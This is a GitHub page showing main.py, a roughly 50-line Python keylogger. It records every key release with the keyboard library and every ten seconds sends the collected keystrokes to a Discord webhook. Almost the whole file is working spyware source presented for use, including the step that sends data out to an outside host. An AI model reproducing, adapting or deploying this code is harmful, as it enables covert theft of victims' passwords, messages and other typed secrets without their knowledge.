-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
50 lines (37 loc) · 1.21 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import keyboard
import time
import requests
import threading
# Replace 'WEBHOOK_URL' with your actual Discord webhook URL
WEBHOOK_URL = 'https://discord.com/api/webhooks/your_webhook_url'
# Create a list to store the captured keystrokes
keylogs = []
# Function to send keylogs to Discord via webhook
def send_keylogs():
global keylogs
# Check if there are any keylogs to send
if keylogs:
# Convert the keylogs to a string
keylogs_str = '\n'.join(keylogs)
# Create the payload for the webhook
payload = {
'content': keylogs_str
}
# Send the payload to the Discord webhook
requests.post(WEBHOOK_URL, data=payload)
# Clear the keylogs list
keylogs = []
# Schedule the next execution of the function after 10 seconds
threading.Timer(10, send_keylogs).start()
# Function to capture keystrokes
def capture_keystrokes(event):
global keylogs
# Append the captured keystroke to the keylogs list
keylogs.append(event.name)
# Start capturing keystrokes
keyboard.on_release(callback=capture_keystrokes)
# Start sending keylogs to Discord every 10 seconds
send_keylogs()
# Keep the script running
while True:
time.sleep(1)